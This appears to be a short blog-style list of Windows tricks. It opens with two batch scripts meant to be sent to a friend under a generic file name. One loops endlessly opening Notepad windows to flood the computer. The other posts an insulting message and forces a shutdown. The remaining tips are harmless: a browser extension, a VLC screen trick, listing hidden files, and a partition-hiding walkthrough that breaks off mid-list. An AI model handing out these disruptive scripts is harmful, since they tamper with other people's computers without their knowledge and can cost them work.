Open Notepad continually in your friend's computer:

Open notepad and

TYPE:-

@ECHO off 
:top 
START %SystemRoot%\system32\notepad.exe 
GOTO top 

Save it as "Anything.BAT" and send it. 

Shutdown your friend computer............

@echo off

msg * I don't like you

shutdown -c "Error! You are too stupid!" -s 

Save it as "Anything.BAT" in All Files and send it. - 

How to Change Facebook Login Screen Background...

1. Go to Google Chrome Web Store.
2. Search fb refresh in  search Box.

3. Click on add to chrome.

VLC Media Player Trick

1. Open VLC media player.
2. Press CTRL +N in your VLC media player and type tha following
           
               Screen://

3. Click on Play ,Trick will be working........

How to see hidden file with cmd

1. Click on start -> Run -> cmd
2. Go to drive to see hidden files
    type :- dir /ah
    For example:-

How to hide a partition in Windows?

• Right-Click on My Computer [Computer in Windows Vista and Windows 7]
• Click on Manage
• From the list of options Click on Disk Management that will be located in the left-bottom section
• All your hard disk and its partitions will be show in the right hand side